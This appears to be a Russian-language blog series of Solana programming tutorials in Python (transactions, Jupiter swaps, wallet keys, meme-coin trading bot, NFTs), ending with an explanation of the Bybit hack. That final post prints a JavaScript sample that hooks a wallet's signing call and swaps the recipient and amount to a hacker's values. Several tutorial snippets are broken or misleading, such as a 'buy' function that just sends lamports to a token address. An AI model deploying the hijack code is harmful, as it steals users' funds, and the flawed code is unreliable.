😔 ТРАНЗАКЦИИ НА СОЛАНА - ШО И КАК?

отправлять их мы будем через IDL

IDL (Interface Definition Language) JSON-файл, описывающий, какие методы есть в программе, какие аргументы они принимают, и какие аккаунты участвуют в транзакциях.

🤩 На основе IDL создается объект программы, который предоставляет методы для взаимодействия с программой на Solana.

Если используем фреймворк Anchor для разработки программ на Solana, то IDL автоматически генерируется при компиляции программы.

🤩 Пример полного взаимодействия с программой через IDL (клиентский код)

from anchorpy import Idl, Program
from solana.rpc.api import Client
from solana.publickey import PublicKey
from solana.account import Account
import asyncio

# 1. Подключение к Solana RPC

client = Client("[https://api.devnet.solana.com](https://api.devnet.solana.com/)")

#2. Загрузка IDL

with open("idl.json", "r") as f:
idl = Idl.from_json(f.read())

#3. Создание объекта программы

program_id = PublicKey("ПрограммаПубличныйКлюч")
program = Program(idl, program_id, client)

#4. Подготовка данных

from_account = PublicKey("ПубличныйКлючОтправителя")
to_account = PublicKey("ПубличныйКлючПолучателя")
amount = 1_000_000  # 0.001 SOL

#5. Приватный ключ отправителя

private_key = bytes([...])  # Замените на ваш приватный ключ
signer = Account(private_key)

#6. Вызов метода программы

async def call_transfer():
tx = await program.rpc["transfer"](
amount,
accounts={
"from": from_account,
"to": to_account,
"system_program": PublicKey("11111111111111111111111111111111")
},
signers=[signer]
)
print("Транзакция отправлена:", tx)

#Запуск асинхронной функции

asyncio.run(call_transfer())

👋 Что происходит под капотом?

1. Формирование инструкции:

> Клиентский код на основе IDL формирует инструкцию для вызова метода программы

2. Создание транзакции:

> Инструкция добавляется в транзакцию.

3. Подпись транзакции:

> Транзакция подписывается отправителем.

4. Отправка транзакции:

> Транзакция отправляется в сеть Solana через RPC.



⌨️ Хотя Anchor автоматически генерирует IDL и клиентский код, нам всё равно нужно:

1. Настроить подключение к Solana:

> Указать, к какому RPC-узлу подключаться (например, Devnet или Mainnet)

2. Указать параметры вызова

> Передать аргументы метода (сумму перевода, etc).

> Указать аккаунты, которые участвуют в транзакции (отправитель и получатель).

> Подписать транзакцию Указать, кто подписывает транзакцию (отправитель).

🙄 Ваша активность, мой + к желанию написать фулл статейку по Solana на Python

🎹 SOLANA SPEED_UP ГУЙД

база - выполнения транзакций зависит от - загруженности сети, комиссии за транзакцию и правильной настройку кода.

разберем все

1. Использование более высокой комиссии

sender = Keypair()  # Ваш кошелек
receiver = PublicKey("RECEIVER_PUBLIC_KEY")  # Публичный ключ получателя
amount = 1000000  # Сумма в lamports (1 SOL = 1000000000 lamports)

# Создаем транзакцию с повышенной комиссией
txn = Transaction().add(transfer(TransferParams(
    from_pubkey=sender.public_key,
    to_pubkey=receiver,
    lamports=amount
)))

# Указываем приоритет (добавляем комиссию)
txn.recent_blockhash = client.get_recent_blockhash()["result"]["value"]["blockhash"]
txn.fee_payer = sender.public_key
txn.sign(sender)

В этом примере вы можете увеличить комиссию, добавив больше lamports в поле lamports.

2. RPC УЗЛЫ

собственный RPC или быстрый сторонний RPC-провайдера (QuickNode например) может значительно ускорить отправку и подтверждение транзакций.

client = Client("тут_ссылка_на_rpc")

3. Параллельная отправка транзакций

Если отправляете несколько транзакций - используем асинхронные запросы или многопоточность для ускорения процесса.

import asyncio
from solana.rpc.async_api import AsyncClient

async def send_transaction_async():
    client = AsyncClient("https://api.mainnet-beta.solana.com")
    # Ваш код для создания и отправки транзакции
    await client.send_transaction(txn)
    await client.close()

asyncio.run(send_transaction_async())

база

далее advanced lvl )) ☔️

4. Локальные блоки (слот leader)

Если вы запускаете свой валидатор, вы можете быть слот-лидером и включать свои транзакции в блоки быстрее.

5. Durable Nonce

В Solana есть механизм Durable Nonce, который позволяет избежать проблем с устаревшими nonce и ускорить обработку транзакций.

😱 nonce - уникальное число, которое добавляется к данным для обеспечения их уникальности или для выполнения определенных условий

nonce_account = Keypair()
txn = Transaction().add(create_nonce_account(
    from_pubkey=sender.public_key,
    nonce_pubkey=nonce_account.public_key,
    authority=sender.public_key,
    lamports=1000000
))

+Убедитесь, что код не содержит задержек и использует последние версии библиотек для Solana.

мысли?

😱 SOLANA НА ДЕКСЫ ШО ТАМ??

начнем с jupiter

pip install requests solana (две либы для взаимодействия)

Подключение к Jupiter API

Jupiter предоставляет REST API для получения маршрутов обмена и выполнения свопов.

Основные эндпоинтс:

Маршруты обмена:

Выполнение свопа:

Маршрут обмена SOL/USDC

import requests

# Эндпоинт для получения маршрутов

url = "https://api.jup.ag/swap/v1/quote"

# Параметры запроса

params = {
"inputMint": "So11111111111111111111111111111111111111112",  # SOL
"outputMint": "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v",  # USDC
"amount": 1000000000,  # 1 SOL (в lamports)
"slippageBps": 50,  # Допустимое проскальзывание (0.5%)
}

# Отправляем запрос

response = requests.get(url, params=params)

# Проверяем ответ

if response.status_code == 200:
routes = response.json()
print("Available routes:", routes)
else:
print("Error:", response.status_code, response.text)

Выполняем своп (подписываем транзу)

from solana.rpc.api import Client
from solana.transaction import Transaction
from solana.keypair import Keypair
import base64

# Подключаемся к devnet

client = Client("https://api.devnet.solana.com")

# твой кошель

wallet = Keypair.from_secret_key(твой_приватник)  

# Эндпоинт для выполнения свопа

swap_url = "https://api.jup.ag/swap/v1/swap"

# Данные для свопа

swap_data = {
"quoteResponse": routes,  # Используем маршрут из предыдущего шага
"userPublicKey": str(wallet.public_key),
"wrapAndUnwrapSol": True,  # Автоматически конвертировать SOL в wSOL и обратно
}

# Получаем транзакцию для свопа

swap_response = requests.post(swap_url, json=swap_data)

if swap_response.status_code == 200:
swap_transaction = swap_response.json()
print("Swap transaction:", swap_transaction)

# Декодируем транзакцию
raw_transaction = base64.b64decode(swap_transaction["swapTransaction"])

# Создаем объект транзакции
transaction = Transaction.deserialize(raw_transaction)

# Подписываем транзакцию
transaction.sign(wallet)

# Отправляем транзакцию
txid = client.send_transaction(transaction, wallet)
print("Transaction sent:", txid)

else:
print("Error:", swap_response.status_code, swap_response.text)

🤩 Что еще может апишка жупитера??

Получение списка всех токенов:

Получение информации о пулах ликвидности:

Получение истории транзакций:

разберем получение списка всех токенов 😨

tokens_url = "https://api.jup.ag/tokens/v1/mints/all"

tokens_response = requests.get(tokens_url)

if tokens_response.status_code == 200:
tokens = tokens_response.json()
print("Available tokens:", tokens)
else:
print("Error:", tokens_response.status_code, tokens_response.text)

далее ещё больше движа с дексами, делаем? 🔥🔥

ваши идеи

🐸🐸🐸кошельки Solana | управление

создаем keyPair (пару из публичного и приватного ключей)

+ создаем приватный ключ из мнемонической фразы

pip install solana bip32utils mnemonic (либы для соланы и мнем-фразы)

1. Создаем KeyPair

from solana.keypair import Keypair

# создаем новый KeyPair

keypair = Keypair()

# публичный и приватный ключи

print("Public Key:", keypair.public_key)
print("Private Key:", keypair.secret_key)

2. Генерация Мнемонической Фразы (seed фраза)

используется для восстановления кошелька

from mnemonic import Mnemonic

# генерация мнемонической фразы

mnemo = Mnemonic("english")
mnemonic_phrase = mnemo.generate(strength=128)  # 12 слов

print("Mnemonic Phrase:", mnemonic_phrase)

3. Деривация приватного ключа из мнемонической фразы

используя мнемоническую фразу, мы можем получить приватный ключ

используем стандарт BIP-39 (генерация seed из мнемонической фразы) и BIP-44 (деривация ключей).

import hashlib
import hmac
from bip32utils import BIP32Key

# преобразуем мнемоническую фразу в seed

seed = mnemo.to_seed(mnemonic_phrase)

# деривация приватного ключа по пути BIP-44

# путь для Solana: m/44'/501'/0'/0'

bip32_key = BIP32Key.fromEntropy(seed)
derived_key = bip32_key.ChildKey(44 + BIP32Key.HARDEN).ChildKey(501 + BIP32Key.HARDEN).ChildKey(0 + BIP32Key.HARDEN).ChildKey(0).ChildKey(0)

# приватный ключ (32 байта)

private_key = derived_key.PrivateKey()
print("Derived Private Key:", private_key.hex())

4. Создаем KeyPair из приватного ключа

когда у нас есть приватный ключ, мы можем создать KeyPair!

from solana.keypair import Keypair

# Преобразуем приватный ключ в KeyPair

keypair = Keypair.from_secret_key(private_key)

# публичный и приватный ключи

print("Public Key from Derived Private Key:", keypair.public_key)
print("Private Key from Derived Private Key:", keypair.secret_key.hex())

в результате:

😭 Генерируется 12 слов, которые можно использовать для восстановления кошелька.

Мнемоническая фраза преобразуется в seed с помощью алгоритма PBKDF2.

вот так это и работает

😴 V0 / LEGACY транзакции Solana

Solana поддерживает два типа транзакций:

Legacy (старый формат) & Versioned Transactions (новый формат, поддерживающий дополнительные функции - Account Lookup Tables

Legacy поддерживает перевод SOL или SPL-токенов. + Использует старый формат сообщений (Message) (база)

Пример Legacy Транзакции

# отправка 0.1 SOL

transaction = Transaction().add(
    transfer(
        TransferParams(
            from_pubkey=sender_wallet.public_key,
            to_pubkey=recipient,
            lamports=int(0.1 * 1e9),  # 0.1 SOL в lamports
    )
)

Versioned Transactions (VO) - новый формат транзакций, поддерживающий дополнительные функции: Account Lookup Tables (таблицы поиска аккаунтов).

😠 Они позволяют уменьшить размер транзакций и увеличить пропускную способность сети.

Account Lookup Tables - таблицы, которые позволяют хранить ссылки на аккаунты, уменьшая размер транзакций (полезно для сложных операций - взаимодействие с DEX)

😄 Напишем транзу для Отправка SOL через V0

для V0 нам нужно использовать MessageV0 и VersionedTransaction

# подключаемся к devnet
client = Client("https://api.devnet.solana.com")

# кошелек отправителя
sender_wallet = Keypair.from_secret_key([YOUR_PRIVATE_KEY])  # Замените на ваш приватный ключ

# адрес получателя
recipient = PublicKey("RECIPIENT_PUBLIC_KEY_HERE")

# создаем инструкцию для перевода SOL
instruction = transfer(
    TransferParams(
        from_pubkey=sender_wallet.public_key,
        to_pubkey=recipient,
        lamports=int(0.1 * 1e9),  # 0.1 SOL в lamports
    )
)

# создаем MessageV0
message = MessageV0.try_compile(
    payer=sender_wallet.public_key,
    instructions=[instruction],
    address_lookup_table_accounts=[],  # Можно добавить таблицы поиска аккаунтов
    recent_blockhash=client.get_recent_blockhash()["result"]["value"]["blockhash"],
)

# создаем VersionedTransaction
transaction = VersionedTransaction(message, [sender_wallet])

# отправляем транзакцию
txid = client.send_transaction(transaction)
print("Versioned Transaction sent:", txid)

Далее разбираем создание Lookup Table

# Создаем Account Lookup Table
lookup_table = PublicKey("LOOKUP_TABLE_PUBLIC_KEY_HERE")

# моздаем MessageV0 с использованием таблицы
message = MessageV0.try_compile(
    payer=sender_wallet.public_key,
    instructions=[instruction],
    address_lookup_table_accounts=[lookup_table],  # добавляем таблицу
    recent_blockhash = client.get_recent_blockhash()["result"]["value"]["blockhash"],
)

# создаем VersionedTransaction
transaction = VersionedTransaction(message, [sender_wallet])

вот такая солана изнутри, более подробно расписываю в гайде 🪙

😞 МЕМ-КОИНС на солана | гасимся

начнем с торгов на радиум, далее посмотрим памп-фан

через апишку будем мониторить цены и объем + покупка / продажа

pip install solana websockets requests

Мониторим цены

import requests

def get_price(token_address):
    url = f"https://api.raydium.io/v1/token/{token_address}"
    response = requests.get(url)
    data = response.json()
    return data.get("price")

🎮 Отслеживание Пампа (изменения объема)

    url = f"https://api.raydium.io/v1/token/{token_address}"
    response = requests.get(url)
    data = response.json()
    volume = data.get("volume")

    if volume > threshold_volume:
        return True
    return False

💰 Автоматическая покупка

def buy_token(wallet, token_address, amount):
    # создание транзакции
    transaction = Transaction().add(
        transfer(TransferParams(
            from_pubkey = wallet.public_key(),
            to_pubkey = PublicKey(token_address),
            lamports = amount)
    )
    # подпись и отправка транзакции
    client.send_transaction(transaction, wallet)

⬇️ Автоматическая продажа

def sell_token(wallet, token_address, amount):
    # аналогично покупке, но с продажей
    transaction = Transaction().add(
        transfer(TransferParams(
            from_pubkey = wallet.public_key(),
            to_pubkey = PublicKey(token_address),
            lamports = amount)
    )
    client.send_transaction(transaction, wallet)

👁 все кратко, скрипт будет намного больше и подробнее, все пишу в статью по солане

Дайте актива, дропнем статью быстрее 🥰

+ В Скрипт можно добавить оправку пампов в тг и дискорд

😱 SOLANA Аналитика

пишем инструмент, анализирующий данные блокчейна

{ транзакции, смарт-контракты, токены + предоставляем пользователю статистику, графики и предупреждения }

pip install solana matplotlib requests нужные либы

> Подключаемся к паблик RPC Solana (с приватным будет больше скорость и безопасность 😎 )

solana_client = Client("https://api.mainnet-beta.solana.com")

> Получение данных о блокчейне

def get_blockchain_info():
    # текущий слот
    slot = solana_client.get_slot()
    print(f"Текущий слот: {slot}")

    # кол-во транзакций в последнем блоке
    block = solana_client.get_block(slot)
    if block and 'result' in block:
        transactions = block['result']['transactions']
        print(f"Количество транзакций в последнем блоке: {len(transactions)}")
    else:
        print("Не удалось получить данные о блоке.")

get_blockchain_info()

> Анализ транзакций

{ извлекаем инфу о количестве переданных $SOL и какие адреса участвовали }

def analyze_transactions(transactions):
total_sol_transferred = 0
participants = set()

for tx in transactions:
    # извлекаем информацию о передаче SOL
    if 'message' in tx and 'instructions' in tx['message']:
        for instruction in tx['message']['instructions']:
            if 'parsed' in instruction and instruction['parsed']['type'] == 'transfer':
                lamports = int(instruction['parsed']['info']['lamports'])
                sol_amount = lamports / 1e9  # Конвертируем lamports -> SOL
                total_sol_transferred += sol_amount
                participants.add(instruction['parsed']['info']['source'])
                participants.add(instruction['parsed']['info']['destination'])

print(f"Общее количество переданных SOL: {total_sol_transferred}")
print(f"Уникальные участники: {len(participants)}")

# вызов функции анализа транзакций

block = solana_client.get_block(solana_client.get_slot())

if block and 'result' in block:
analyze_transactions(block['result']['transactions'])

> Визуализируем данные

def plot_transaction_history(blocks_to_analyze=10):
    slots = []
    transaction_counts = []

    current_slot = solana_client.get_slot()
    for i in range(blocks_to_analyze):
        block = solana_client.get_block(current_slot - i)
        if block and 'result' in block:
            slots.append(current_slot - i)
            transaction_counts.append(len(block['result']['transactions']))

    plt.plot(slots, transaction_counts, marker='o')
    plt.noscript("Количество транзакций в последних блоках")
    plt.xlabel("Слот")
    plt.ylabel("Количество транзакций")
    plt.grid(True)
    plt.show()

plot_transaction_history()

> Добавление предупреждений 🔫

{ если количество транзакций в блоке превышает определенный порог }

def check_for_high_activity(threshold=100):
block = solana_client.get_block(solana_client.get_slot())
if block and 'result' in block:
transaction_count = len(block['result']['transactions'])
if transaction_count > threshold:
print(f"Внимание! Высокая активность: {transaction_count} транзакций в последнем блоке.")
else:
print(f"Активность в норме: {transaction_count} транзакций.")

check_for_high_activity()

🧟‍♂️ Что происходит то?

> Получать данные о последнем блоке

> Анализируем транзакции

> Визуализируем историю транзакций

> Предупреждаем о высокой активности

удобная визуализация Solana, далее можно сохранять все в базу, анализировать определенные токены и т.д ))

Ваши идеи на следующий МОЩНЫЙ разбор? 🤬

😨 SPL ТОКЕНЫ & ВЗАИМОДЕЙСТВИЕ

pip install solana spl-token либы

😔 разберем техническую часть

Настройка клиента и ключей

# подключение к сети Solana (devnet)

client = Client("https://api.devnet.solana.com")

# приватный ключ (отправитель)

sender_keypair = Keypair.from_secret_key(bytes([...])) 

# публичный ключ отправителя

sender_pubkey = sender_keypair.public_key

# публичный ключ получателя

receiver_pubkey = PublicKey("...")

# адрес SPL-токена (USDC -> devnet)

token_mint_pubkey = PublicKey("...")

# адрес ассоциированного аккаунта отправителя

sender_token_account = PublicKey("...")

receiver_token_account = PublicKey("...")

😏 Создаем Транзу передачи SPL ТОКЕНОВ

amount = 1000000  # 1 USDC, если у токена 6 знаков после запятой

# создание инструкции для передачи токенов
transfer_instruction = transfer_checked(
    TransferCheckedParams(
        program_id=TOKEN_PROGRAM_ID,
        source=sender_token_account,
        mint=token_mint_pubkey,
        dest=receiver_token_account,
        owner=sender_pubkey,
        amount=amount,
        decimals=6,  # Количество знаков после запятой у токена
        signers=[],
    )
)

# Создание транзакции
transaction = Transaction().add(transfer_instruction)


Подпись + отправка

# подписание транзакции

transaction.sign(sender_keypair)

# отправка транзакции

txid = client.sendTransaction(transaction, sender_keypair, opts=TxOpts(skip_preflight=True))

# ожидание подтверждения транзакции

client.confirm_transaction(txid['result'])

print(f"Транзакция отправлена: {txid['result']}")

проверяем баланс пользователя (getTokenAccountBalance)

balance = client.getTokenAccountBalance(receiver_token_account)
print(f"Баланс получателя: {balance['result']['value']['amount']}")

🤩 P.S для работы с mainnet заменяем https://api.devnet.solana.com на https://api.mainnet-beta.solana.com.


Кидайте свои идеи на МОЩНЫЙ разбор 🤲

😘 SOLANA с НУЛЯ

это мог быть мощный прогрев на курс, но не сегодня 😔

Разработчики Solana предоставили полный курс по старту разработки в их экосистеме { бесплатно }

> Курс

+ Буткемп на 18 часов материалов на YouTube

> Плейлист

теперь ноу экскьюзес, возможность разобраться есть у каждого 👍

😱 SOLANA & WEBSOCKET | Мониторим все события в экосистеме

Либы

solana-py — для взаимодействия с Solana

websockets — для работы с WebSocket.

pip install solana websockets

🤟 Подключение к Solana через WebSocket

Solana предоставляет WebSocket API для подписки на события в блокчейне

import asyncio
import websockets

async def connect_to_solana():
uri = "wss://api.mainnet-beta.solana.com"  # WebSocket endpoint Solana
async with websockets.connect(uri) as websocket:

Подписка на события
subnoscription_request = {
"jsonrpc": "2.0",
"id": 1,
"method": "logsSubscribe",
"params": [
{"mentions": ["all"]},  # Подписываемся на все события
{"commitment": "confirmed"}
]
}
await websocket.send(json.dumps(subnoscription_request))
print("Подписались на события Solana")

    # Получение данных в реальном времени
    async for message in websocket:
        print("Получено событие:", message)



asyncio.get_event_loop().run_until_complete(connect_to_solana())

Обработка событий 😱

В зависимости от типа события (транзакция, смарт-контракт, изменение аккаунта), выполняем следующие действия.

import json

async def handle_event(event):
event_data = json.loads(event)

Пример обработки события
if "params" in event_data:
log_data = event_data["params"]["result"]["value"]
print("Лог:", log_data)

🤔 Здесь можно добавить логику для обработки конкретных событий

Фильтруем События (конкретный смарт-контракт || аккаунтов)

async def handle_event(event):
event_data = json.loads(event)
if "params" in event_data:
log_data = event_data["params"]["result"]["value"]
if "specific_account_id" in log_data:  # Пример фильтрации по аккаунту
print("Событие для конкретного аккаунта:", log_data)

++ Для масштабирования применим использование очередей (RabbitMQ или Kafka) для обработки событий в параллельном режиме

🎹 НОВАЯ МОЩНАЯ РУБРИКА

1-2 раза в неделю будем разбирать работу популярного софта под L1 L2 проекты 2021 - 2025

+ Для большего понимания буду дропать видосы на эту тему

Затея мощнейшая! Что добавите, кроме ваших реакций? 😔

😑 NFT КОЛЛЕКЦИЯ на SOLANA С НУЛЯ!

кратко и пошагово разбираем процесс

Что требуется?

Node.js (для Metaplex CLI)

Python 3.7+ ⬇️

Solana CLI (для управления кошельком и сетями)

Либы -> pip install solders anchorpy base58

Создание NFT через Metaplex

a. Подготовка метаданных
файл metadata.json:

{
"name": "My NFT",
"symbol": "NFT",
"denoscription": "Описание",
"image": "https://ссылка_на_имаге/image.png",
"attributes": []
}

b. Загрузка метаданных и минтинг NFT (Используем Metaplex CLI)

metaplex upload metadata.json -k ~/.config/solana/devnet.json

После загрузки получаем URI метаданных -> https://arweave.net/xyz

😱 Создание NFT

import json
from solders.keypair import Keypair
from solders.pubkey import Pubkey
from solana.rpc.api import Client
from spl.token.instructions import Token
from solana.rpc.types import TxOpts
from spl.token.constants import TOKEN_PROGRAM_ID

# подключаемся к Devnet
client = Client("https://api.devnet.solana.com")

# загрузка приватного ключа из файла
with open("/path/to/devnet.json", "r") as f:
    secret_key = json.load(f)

# создание объекта Keypair из приватного ключа
payer = Keypair.from_bytes(bytes(secret_key[:32]))

# создание NFT (Mint Account)
token = Token.create_mint(
    conn=client,
    payer=payer,
    mint_authority=payer.pubkey(),
    decimals=0,  # NFT имеет 0 десятичных знаков
    program_id=TOKEN_PROGRAM_ID
)

# создаем ассоциированный аккаунт для хранения NFT
associated_account = token.create_associated_token_account(payer.pubkey())

# минтинг 1й NFT
token.mint_to(
    dest=associated_account,
    mint_authority=payer,
    amount=1,
    opts=TxOpts(skip_confirmation=False)
)

print(f"NFT создан! Mint Address: {token.pubkey}")

Добавление метаданных Metaplex (для привязки метаданных к NFT)

Пример через CLI:

metaplex create_nft \\
  -k ~/.config/solana/devnet.json \\
  --uri "https://arweave.net/xyz" \\
  --name "My NFT"

после создания

🔊Находим NFT в Explorer: explorer.solana.com/?cluster=devnet

Проверяем Solana кошелек

вот такая базовая инструкция по созданию нфт, как вам идея написать нашу?? 🎧

Твои первые $100.000 на Solana Разработке

а сейчас разберем бекграунд наших постов по солане начиная с 11 февраля

Код был написал преимущественно на Python + solana-py

😰 Но вот неожиданность, solana-py уже не так хорош и ему в альтернативу пришла solders библитека

😭 Преимущества Solders:

Быстрее т.к используем Rust через PyO3

Лучше совместим с anchorpy (для написания смарт-контрактов на солана)


😜 Что делать с solana-py?

она по прежнему актуальна, будем использовать ее в следующих операциях ⬇️

> solana-py предоставляет удобные методы для работы с RPC-сервером (get_account_info, get_balance). В solders это можно делать, но API сложнее.

> solana-py предоставляет удобный Transaction API, похожий на solana-web3.js, что может быть полезно при миграции web3.js -> solana.py

> В solana-py есть удобные методы для работы с SPL-токенами (spl.token). В solders это тоже возможно, но немного сложнее.

Используем библиотеки вместе, пример

from solders.pubkey import Pubkey
from solders.rpc.responses import GetAccountInfoResp
from solana.rpc.api import Client

# используем solana-py для работы с RPC

client = Client("https://api.devnet.solana")
account_pubkey = Pubkey.from_string("YourPublicKeyHere")

# получаем информацию об аккаунте (solana-py)

account_info = client.get_account_info(account_pubkey)

# преобразуем ответ в формат solders

solders_response = GetAccountInfoResp.from_json(account_info)

print(solders_response)

ПОЧЕМУ Я НЕ ПИШУ НА SOLDERS?

Думаю это мощный прогрев к моей статье по солане где все встанет на свои места!

🔫 Смарт-Контракты Solana - ДЕКОНСТРУКЦИЯ

Смарт-контракты в Solana отличаются от контрактов в Ethereum и других EVM-совместимых блокчейнах.

> Они называются программами и работают в безсостоячном режиме.

> Данные хранятся отдельно в аккаунтах, а не внутри самого смарт-контракта.

🐑 Состав Смарт-Конктракта Solana:

Смарт-Контракты - скомпилированный код, развернутый в блокчейне.

😱 Они выполняются виртуальной машиной BPF (Berkeley Packet Filter).

В Solana все данные хранятся в аккаунтах, а не внутри программы

🔧 Есть два типа аккаунтов:

> Executable Accounts - аккаунты, содержащие скомпилированную программу.

> Data Accounts - аккаунты для хранения состояния.

Инструкции - команды, отправляемые в смарт-контракт ⬇️

Аналогичны вызовам функций в Ethereum.

Транзакции - группы инструкций, выполняемые в одной атомарной операции.

😐 Напишем такой Смарт-Контракт:

Используем seahorse - DSL, который компилируется в Rust для Solana.

pip install seahorse-lang

Пишем смарт-контракт, который хранит число:

from seahorse.prelude import *

declare_id("5hWzF9Pb...")  # адрес программы в Solana

class Counter(Account):
value: i64  # хранит число

@instruction
def initialize(owner: Signer, counter: Empty[Counter]):
counter.init(payer=owner, seeds=["counter"])
counter.value = 0

@instruction
def increment(owner: Signer, counter: Counter):
counter.value += 1

declare_id - объявляет ID программы.

Counter - аккаунт, хранящий число.

initialize - функция инициализации.

increment - функция увеличения числа.

Seahorse скомпилирует его в Rust и позволит деплоить в Solana.

seahorse build - компиляция в Rust

Развернуть через Solana CLI

solana program deploy target/deploy/my_program.so

Ваши ИДЕИ на следующий МОЩНЫЙ разбор?

😰 BYBIT - Разбираемся

похитили около 401 346 ETH ≈ $1,46 млрд

Что произошло?

использовась технику подмены интерфейса пользователя (UI spoofing), что позволило получить доступ к одному из холодных кошельков Ethereum биржи.

😎 Хакеры манипулировали процессом подписания транзакций, подменяя данные таким образом, что участники видели корректный адрес получателя, но фактически подтверждали измененную транзакцию.

Как это реализовывается?

Добавляется JavaScript-код на сайте или в расширении кошелька, который: ⬇️

> Перехватывает и изменяет отображаемые пользователю данные

> Меняет содержимое транзакции перед подписью

🎹 Подмена адреса получателя

Когда пользователь инициирует перевод, злоумышленник изменяет отображаемый адрес на подлинный (биржи), но перед подписанием транзакции он меняется на адрес хакера.

🤔 Пример реализации через JavaScript

// Вредоносный код в расширении браузера или на фишинговом сайте
document.getElementById("recipient-address").value = "0xCorrectAddress";  // Подлинный адрес
document.getElementById("amount").value = "10"; 

// Перехват перед подписанием
window.ethereum.request = async (args) => {
if (args.method === "eth_sendTransaction") {
let tx = args.params[0];
console.log("Оригинальная транзакция:", tx);

    // Подмена адреса получателя на адрес хакера
    tx.to = "0xHackerAddress";

    console.log("Измененная транзакция:", tx);
    return originalEthereumRequest({ method: "eth_sendTransaction", params: [tx] });
}

return originalEthereumRequest(args);

};

Код отображает жертве "правильный" адрес, но перед подписанием транзакции изменяет его на адрес хакера.

Подмена Суммы Перевода:

tx.value = "0xde0b6b3a7640000"; // 1 ETH вместо 0.1 ETH

В нашем случае хакеры могли внедрить код в интерфейс биржи или кошелька, который перехватывал и изменял отображаемые пользователю данные. Это могло быть достигнуто через компрометацию веб-сайта биржи, использование фишинговых сайтов или вредоносных расширений браузера.

Что делать? 🔫

> нам, как юзерам не держать все на биржах, использовать базовую диверсификацию

ну и ☔️

> Включаем Google Authenticator 2FA и отключить SMS.

> Настроить белый список адресов для вывода.

> Проверить URL перед входом в аккаунт.

> Регулярно проверяйте активность аккаунта (IP)

ваши МЫСЛИ?